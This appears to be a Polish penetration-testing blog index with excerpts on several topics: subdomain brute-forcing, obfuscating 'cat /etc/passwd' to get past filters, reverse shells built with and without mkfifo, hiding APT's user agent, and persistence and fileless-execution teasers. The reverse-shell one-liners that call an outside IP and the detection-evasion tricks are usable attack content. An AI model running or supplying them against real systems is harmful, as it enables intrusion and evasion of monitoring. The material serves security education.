NFsec Logo

Tani bruteforce subdomen za pomocą dig i xargs

29/10/2024 w CmdLineFu, Pen Test Możliwość komentowania Tani bruteforce subdomen za pomocą dig i xargs została wyłączona

Nie musimy ściągać wyrafinowanych narzędzi do enumeracji subdomen wybranej domeny. Powinna wystarczyć nam dobra lista oraz dwa narzędzia, które bardzo często znaleźć zainstalowane w systemie Linux: dig oraz xargs:

$ wc -l subdomians.txt
100 subdomians.txt

$ time cat subdomians.txt | xargs -P0 -I subdomain dig +noall subdomain.nfsec.pl +answer
www.nfsec.pl.		3600	IN	CNAME	nfsec.pl.
nfsec.pl.		3600	IN	A	146.59.92.70
ns1.nfsec.pl.		3600	IN	A	146.59.92.70
ns2.nfsec.pl.		3600	IN	A	213.251.188.141
ns3.nfsec.pl.		3600	IN	A	46.105.206.200
ns4.nfsec.pl.		3600	IN	A	46.105.207.200

real	0m0.390s
user	0m0.764s
sys	0m0.599s

If max-procs (-P) is 0, xargs will run as many processes as possible at a time.

Więcej informacji: Hostname bruteforcing on the cheap

Zaciemnianie poleceń w powłoce bash

15/09/2024 w Hacks & Scripts, Pen Test Możliwość komentowania Zaciemnianie poleceń w powłoce bash została wyłączona

P

owłoka bash zawiera wiele funkcji, które pojawiają się w innych popularnych powłokach, a także niektóre funkcje, które są tylko w niej. Dzięki rozbudowanej składni pozwala na pisanie skryptów w wewnętrznym języku programowania, a jego elementy upraszczają pracę w codziennej pracy z wydawanymi poleceniami np. touch {exploit,payload}.{c,sh} tworzy jednym poleceniem cztery pliki: exploit.c, exploit.sh, payload.c, payload.sh. Dzięki temu jedno polecenie może zostać wydane na wiele różnych sposobów używając techniki zaciemnienia / obfuskacji (ang. obfuscation), która zmienia składnię polecenia, ale zachowuje jego semantykę jednocześnie utrudniając jego zrozumienie i umożliwiając ominięcie różnego rodzaju filtrów i mechanizmów detekcyjnych. Na przykład popularne polecenie, takie jak:

cat /etc/passwd

może zostać zapisane na wiele różnych sposobów dając ten sam wynik:

cat /et\
c/pa\
sswd

cat${IFS}/etc/passwd

IFS=,;`cat<<<cat,/etc/passwd`

{cat,/etc/passwd}

cat</etc/passwd

X=$'cat\x20/etc/passwd'&&$X

cat ${HOME:0:1}etc${HOME:0:1}passwd

{\c''\a""t,/e''*?/?a?s??}

{\c''\a""\t,/\e''*?/\p*w\d}

{$'\x63'\a$'\x74',/\e''*?/\p*w$'\x64'}

{/b??/g?e?,.,/e??/p?s??d}

$(echo {/b??/ge*n''t,\p\a\s\s\w\d})

$(echo cat /etc/[p][a][s][s][w][d])

cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`

hex=(63 61 74 20 2F 65 74 63 2F 70 61 73 73 77 64) \ 
echo $(for i in ${hex[@]}; do echo -n -e "\x$i"; done) | sh

cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd

showme=/ehhh/hmtc/pahhh/hmsswd&&cat ${showme//hhh\/hm/}

Przykłady te wykorzystują znak ucieczki dla nowej linii, separator pól wejściowych, przekierowania strumieni, notację ANSI-C, podstawianie poleceń, rozbudowę klamry, manipulację ciągami tekstowymi, symbole wieloznaczne, wyrażenia regularne z nawiasami kwadratowymi, przekształcanie oraz rozszerzanie parametrów powłoki. Możliwości zapisu poleceń w postaci alternatywnej zależy tylko od naszej kreatywności oraz poziomu zaawansowania umiejętności administracyjno-programistycznych w powłoce.

Więcej informacji: Extraction of wiki.bash-hackers.org from the Wayback Machine

Atak, wykrywanie i informatyka śledcza na żywo w systemie Linux

18/07/2024 w Bezpieczeństwo, Pen Test, Techblog Możliwość komentowania Atak, wykrywanie i informatyka śledcza na żywo w systemie Linux została wyłączona

O

statnio miałem okazję wziąć udział w szkoleniu, które przygotował Leszek Miś pt. “Linux Attack, Detection and Live Forensics + 90 Days PurpleLabs Access” (całość jest w języku angielskim) – jest to jedno z niewielu dostępnych szkoleń, które jest w 100% skupione na systemie operacyjnym Linux. Po otrzymaniu dostępu do platformy szkoleniowej oraz laboratorium czekało na mnie 225 tematów do opracowania – kilka z nich można oczywiście odjąć z technicznego punktu widzenia, ponieważ są to tematy wprowadzające / wyjaśniające zasady pracy z kursem i maszynami do testów. Niemniej dobór materiału jest naprawdę spory i stanowi solidny fundament do nauki technik atakowania i obrony systemu Linux. Przy pierwszej styczności z mapą zagadnień od razu przypomniała mi się pierwsza, kupiona książka w tym temacie, czyli “Linux. Agresja i Ochrona” wydawnictwa Robomatic (ISBN: 838715041X) – tylko tym razem materiał można od razu przećwiczyć na gotowych scenariuszach i nie użyjemy już do tego SATANa.

Ponieważ dostęp do materiałów jest nieograniczony, ale dostęp do infrastruktury labów trwa aż 90 dni – podzieliłem sobie cały material od 3 do 5 zagadnień dziennie, aby mieć wolne niektóre weekendy oraz zapas czasu w przypadku braku możliwości wieczornej nauki w tygodniu. Pierwsze dni zostały poświęcone na sprawdzenie wszystkich dostępów oraz przygotowanego ekosystemu. Na początku “skakanie” po infrastrukturze może wydawać się trochę uciążliwe, ale posiadając do dyspozycji agregator adresów i dostępów z czasem nabiera się wprawy. Kolejne kroki to już intensywne wgryzanie się w przedstawione scenariusze, opisy i narzędzia, z których można wynieść wiele wartościowych wniosków. To, co najbardziej spodobało mi się w szkoleniu to różnorodne podejście do całości. Podczas nauki poszczególnych rozdziałów otrzymujemy możliwość zapoznania się z technikami, taktykami i strukturami narzędzi ofensywnych używanych w atakowaniu Linuksa; polecenia i ekosystem pozwalający na przeprowadzanie polowań na poznane zagrożenia oraz zestaw stabilnych, darmowych rozwiązań, które możemy od razu przetestować jako warstwy do ochrony i wykrywania ataków na systemie Linux i jego komponentach. Wszystko to robimy na różnych poziomach (przestrzeni użytkownika / jądra) oraz warstwach (aplikacyjnych / sieciowych) systemu.

Listę poruszanych tematów możemy znaleźć na oficjalnej stronie szkolenia (prowadzony jest nawet jego changelog). Wiele z nich jest poruszone w sposób wyczerpujący, a niektóre dają bardzo mocne podstawy do dalszej eksploracji tematu czy zagadnień przewijających się w nich przy okazji. Jeśli znajdziemy jakieś błędy lub dezaktualizację to możemy je zgłaszać na adres e-mail lub jako komentarz pod konkretnym zadaniem. Mi przy okazji paru znajdek udało się zamienić kilka zdań z autorem, a ponieważ wpis ten nie jest w żaden sposób sponsorowany – Leszek był tak miły, że dla 20‘stu zainteresowanych czytelników NF.sec przygotował kod dający 20% zniżki, który można wykorzystać do 15.08.2024 r. Jeśli zakres materiału Was przekonuje to ze swojej strony mogę polecić tę pozycję na ścieżce doskonalenia swojego warsztatu z bezpieczeństwa systemu Linux.

Reverse shell bez mkfifo

12/04/2024 w Pen Test Możliwość komentowania Reverse shell bez mkfifo została wyłączona

J

eśli kiedykolwiek próbowaliśmy stworzyć reverse shell, czy to za pomocą telnet, czy OpenSSL – prawdopodobnie miały one wspólny układ:

mkfifo /tmp/f; nc 1.2.3.4 31337 </tmp/f | sh >/tmp/f; rm /tmp/f

Na początku tworzony jest nazwany potok FIFO za pomocą polecenia mkfifo w ścieżce /tmp/f. Następnie uruchamiany jest program binarny (tutaj netcat), który pobiera dane wejściowe z tego potoku. Całość danych wyjściowych z programu binarnego jest przekazywana zwykłym potokiem (ang. pipe) do procesu powłoki sh. Wyjście powłoki jest przesyłane z powrotem przez nazwany potok FIFO do wejścia programu binarnego. Gdy program binarny i powłoka sh zakończą swoje działanie, polecenie rm usuwa nazwany potok FIFO w ścieżce /tmp/f.

Plik specjalny FIFO (nazwany potok) jest podobny do zwykłego potoku (|), z wyjątkiem tego, że jest dostępny jako część systemu plików. Może być otwierany przez wiele procesów w celu odczytu i zapisu. Gdy procesy wymieniają dane za pośrednictwem FIFO, jądro przekazuje wszystkie dane wewnętrznie bez zapisywania ich w systemie plików. Tak, więc specjalny plik FIFO nie ma zawartości w systemie plików – wpis w systemie plików służy jedynie jako punkt odniesienia, dzięki czemu procesy mogą uzyskać dostęp do potoku przy użyciu nazwy w systemie plików.

Polecenie mkfifo jest tutaj koniecznie, ponieważ potrzebujemy dwóch kanałów komunikacji: netcat do sh oraz sh do netcat, a potok użyty w powłoce (|) daje tylko jednokierunkowy prymityw. Istnieje wiele wad korzystania z mkfifo. Dość powszechne jest tworzenie reguł wykrywających tego typu ładunki poleceń przez niebieskie zespoły (ang. blue teams). Ponieważ programy binarne są tutaj wymienne (nc, telnet, openssl) włączenie programu mkfifo do sygnału wykrywania odwróconych powłok jest naturalnym krokiem. Poza tym krok czyszczenia (rm /tmp/f) czasami kończy się niepowodzeniem, pozostawiając błędny plik FIFO. Wreszcie – nie zawsze można znaleźć zapisywalne lokalizacje na systemie plików np. gdy procesy uruchomione są w chroot lub kontenerze w trybie tylko do odczytu.

Jak możemy wykluczyć to polecenie? Na przykład tak:

{ nc 1.2.3.4 31337 </dev/fd/3 3>&- | sh >&3 3>&- ; } 3>&1 | :

Tworzymy podpowłokę (ang. subshell) za pomocą { } lub ( ), w której zamykamy kilka poleceń. Dane wyjściowe z tej podpowłoki potokiem przekazujemy do tzw. polecenia NOP (ang. do-nothing operation), czyli dwukropka (:) wcześniej przekierowując dane wyjściowe deskryptora pliku o numerze 3 na standardowe wyjście (3>&1). Wewnątrz podpowłoki program binarny netcat pobiera dane wejściowe z deskryptora pliku o numerze 3 (</dev/fd/3), który następnie jest zamykany (3>&-) – całość danych wyjściowych jest przekazywana potokiem to powłoki sh. Następnie powłoka sh pobiera dane wejściowe z programu binarnego netcat i przekazuje swoje dane wyjściowe ponownie do deskryptora plików numer 3 również go zamykając, aby uniknąć dodatkowych zwisających odwołań do ponownie użytego deskryptora. W ten sposób unikając polecenia mkfifo uzyskaliśmy możliwość odczytu, jak i zapisu do struktury potoku w pamięci systemu Linux.

Więcej informacji: fifo, Something’s special about /dev/fd/3, What does minus mean in “exec 3>&-” and how do I use it?, Czysta funkcja bash do pobierania i uruchamiania ładunków, Linux shellcraft: the pipe trick

Wykrywanie i zmiana nagłówka HTTP User-Agent dla APT

26/03/2024 w Pen Test Możliwość komentowania Wykrywanie i zmiana nagłówka HTTP User-Agent dla APT została wyłączona

O

d strony inżynierii detekcji warto wykrywać różnego rodzaju dziwne nagłówki aplikacji klienckich (ang. User-Agent) w sieci firmowej np. te należące do Kali lub Raspbian. Z kolei od strony ofensywnej czasami może być konieczna zmiana wartości User-Agent, gdy nie chcemy ujawniać, że używamy konkretnej wersji menadżera pakietów APT (ang. Advanced Packaging Tool) np. gdy wykonujemy pentesty w otoczeniu systemów Windows. Domyślnie system Ubuntu używa tej aplikacji klienckiej przy korzystaniu z polecenia apt:

GET /ubuntu/dists/jammy-security/InRelease HTTP/1.1
Host: pl.archive.ubuntu.com
Cache-Control: max-age=0
Accept: text/*
Range: bytes=24857081-
If-Range: Mon, 25 Mar 2024 21:47:13 GMT
User-Agent: Debian APT-HTTP/1.3 (2.4.11) non-interactive

W celu zmiany tej wartości możemy dodać następujący wpis do pliku /etc/apt/apt.conf.d/77user-agent:

Acquire
{
  http::User-Agent "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36
                    (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36";
};
Acquire::http::User-Agent-Non-Interactive "false";

Pierwszy wpis zmienia wartość Debian APT-HTTP/1.3 (2.4.11) drugi usuwa sufix: non-interactive:

GET /ubuntu/dists/jammy-security/InRelease HTTP/1.1
Host: pl.archive.ubuntu.com
Cache-Control: max-age=0
Accept: text/*
Range: bytes=110351-
If-Range: Tue, 26 Mar 2024 16:42:16 GMT
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 
(KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36

Wartość na którą ustawimy User-Agent powinna odzwierciedlać aktualne wersje przeglądarek – nie ustawiajmy zbyt starych wersji lub platformy (np. mobilnej), która w danej sieci nie będzie miała żadnego sensu. Możemy skorzystać z odpowiedniej strony, aby zapoznać się z bieżącym przykładem swojej przeglądarki. W tak przygotowanym systemie powinniśmy również wyłączyć aktualizowanie pakietów (ręczne i automatyczne), ponieważ monitoring ruchu sieciowego może z łatwością wyłapać trafienia do adresów kali.org oraz raspbian.org.

Więcej informacji: List of User Agents strings, Changing apt’s User-Agent string, Configuration file for APT

AADInternals – identyfikacja domen za pomocą usługi Azure AD

03/01/2024 w Pen Test Możliwość komentowania AADInternals – identyfikacja domen za pomocą usługi Azure AD została wyłączona

R

ozwój gotowych usług umożliwia wielu firmom przeniesienie całości lub części swojej infrastruktury, która była wcześniej ukryta w dedykowanym centrum danych do środowisk chmurowych. Oznacza to, że część informacji o usługach danej firmy można obecnie odkryć poprzez rekonesans w sposób, który w przeszłości nie zawsze był taki łatwy lub możliwy np. poprzez używanie widoków dla wewnętrznych i zewnętrznych stref DNS w celu ukrycia wewnętrznych domen firmowych. Istnieje wiele technik, które mogą przedstawić nam jakie domeny należą do konkretnej firmy np. rWHOIS, DNS, TLS itd., jednak wraz z pojawieniem się środowisk chmurowych dane te można pozyskać w dodatkowy sposób. Na dzień dzisiejszy firma Microsoft nadal dominuje w świecie IT dla przedsiębiorstw, a korzeniem każdej, większej firmy jest “drzewo” Active Directory, które służy do zarządzania grupami, użytkownikami, politykami i domenami w środowisku IT. Teraz, gdy coraz więcej wewnętrznych usług Active Directory zaczęło być przenoszonych na platformę chmurową Azure firmy Microsoft, badacze bezpieczeństwa mogą wykorzystywać te usługi do odkrywania domen przypisanych do konkretnej organizacji z bardzo wysokim poziomem pewności, co do informacji zwrotnej i bez polegania na (czasami) niespójnych danych z serwisów zewnętrznych. Nestori Syynimaa w tym celu stworzył moduł AADInternals PowerShell do przeprowadzania prac administracyjnych na usłudze Azure AD oraz Office 365. Jeśli nie potrafimy posługiwać się interpreterem poleceń PowerShell nie musimy się martwić, ponieważ twórca AADInternals udostępnił również internetowe narzędzie “OSINT“, aby rekonesans domen był znacznie łatwiejszy i bardziej dostępny dla większego grona użytkowników. Umożliwia ono uzyskanie ogólnodostępnych informacji na temat określonego najemcy (ang. tenant) usługi za pomocą interfejsów API Azure. Szczegóły są zwracane tylko dla pierwszych 20 domen. Jeśli trafimy na więcej pozycji niestety musimy użyć modułu PowerShell, aby uzyskać pełne informacje. Dla przykładu działania możemy odpytać się o takie domeny jak: ebay.com, bbc.co.uk lub olx.com.

Więcej informacji: Just looking: Azure Active Directory reconnaissance as an outsider

Złe ELFy kradną dane z fabryki zabawek św. Mikołaja

17/12/2023 w Bezpieczeństwo, Debug, Pen Test Możliwość komentowania Złe ELFy kradną dane z fabryki zabawek św. Mikołaja została wyłączona

O

nie! Z powodu dużej ilości pracy przed świętami ktoś zapomniał na serwerze WWW zaktualizować wtyczkę do wykonywania kopii zapasowej w używanym przez św. Mikołaja CMS WordPress. Dzięki temu złośliwe ELFy przedostały się do wewnętrznej sieci i w ramach Lateral Movement “przeskoczyły” do maszyny w fabryce św. Mikołaja odpowiedzialnej za kompilację kodu programów używanych w zabawkach. Jest na niej pełno sekretnych rozwiązań, schematów i innych wrażliwych danych, które można ukraść. Niestety oprócz kompilatorów (gcc) i debuggerów (gdb) maszyna nie posiada żadnych narzędzi (wget, curl itd.), które można wykorzystać do eksfiltracji danych lub ściągnięcia ładunków ze złego C2. Złe ELFy mają dostęp tylko do zwykłego konta dobrego ELFa o imieniu reversek, a dzięki prostemu skanerowi portów w czystej powłoce bash zorientowały już się, że maszyna ma dostęp do internetu tylko na portach HTTP (80) i HTTPS (443). Czy uda im się wykraść zaawansowane patenty i zamienić je w tańsze podróbki ?
[ czytaj całość… ]

Czysta funkcja bash do pobierania i uruchamiania ładunków

28/11/2023 w Pen Test Możliwość komentowania Czysta funkcja bash do pobierania i uruchamiania ładunków została wyłączona

C

zy do pobrania pliku z internetu za pomocą protokołu http jest potrzebne inne narzędzie (np. curl) niż powłoka bash? Czy możemy napisać taką funkcję, która przyjmie adres nie związany z typowym ciągiem URL, aby nie budzić różnych systemów? Spróbujmy odpowiedzieć na te pytania. Zacznijmy od przekazania argumentu, który określi z jakiego adresu plik ma być pobrany. Naszym ciągiem tekstowym będzie: “stardust.nfsec.pl+80+payload.sh“, czyli separatorem zmiennych będzie znak “+”. W powłoce bash istnieje specjalna zmienna o nazwie Internal Field Separator (IFS), za pomocą której możemy zdefiniować separator dla polecenia read. Polecenie to może przypisać kilka zmiennych na raz, jeśli przekażemy mu dane wejściowe za pomocą metody Here Strings (podobnej do Here Documents). Czyli nasza pierwsza linia będzie miała postać:
[ czytaj całość… ]

Zamieniamy vim w mechanizm persystencji

04/11/2023 w Pen Test Możliwość komentowania Zamieniamy vim w mechanizm persystencji została wyłączona

Z

amieniliśmy już edytor vim w rejestrator naciskanych klawiszy, teraz umieścimy w nim mechanizm persystencji. Plik konfiguracyjny .vimrc zawiera konfigurację dla tego edytora, a dzięki wtyczkom, modułom sprawdzania i kolorowania składni oferuje nieograniczone możliwości dostosowywania do użytkownika. Istnieją również sposoby wykonywania poleceń powłoki i dowolnych skryptów. Biorąc pod uwagę, że przy każdym uruchomieniu programu vim ładowany jest plik .vimrc, okazuje się, że jest to świetny sposób na regularne wykonywanie zadań, takich jak sprawdzanie, czy jest dodany odpowiedni klucz SSH do systemu. Staje się to jeszcze bardziej interesujące podczas, gdy edytor uruchamia administrator.
[ czytaj całość… ]

Tworzymy bezplikowy proces za pomocą języka python

06/09/2023 w Pen Test Możliwość komentowania Tworzymy bezplikowy proces za pomocą języka python została wyłączona

F

ileless ELF exec – fee – to proste narzędzie, które umożliwia załadowanie bezpośrednio do pamięci (poprzez deskryptor pliku pamięci – memfd) wcześniej zakodowany i skompresowany plik binarny. Dlaczego zadawać sobie trud, aby uruchamiać pliki w ten sposób ? Ponieważ ataki bezplikowe (ang. fileless) są bardziej wymijające dla detekcji niż ataki, które polegają na upuszczaniu ładunku (ang. payload) na dysk. W celu skuteczniejszego wykrywania tego typu szkodliwego oprogramowania na systemie musi znajdować się ochrona, która wykorzystuje technikę analizy opartą na zachowaniu w czasie wykonywania plików i monitorowania pamięci. Fakt, że po wykryciu ładunek “żyje” w pamięci może także komplikować proces informatyki śledczej (szczególnie dla efemerycznych maszyn w chmurze), ponieważ musi on zostać zrzucony z pamięci.
[ czytaj całość… ]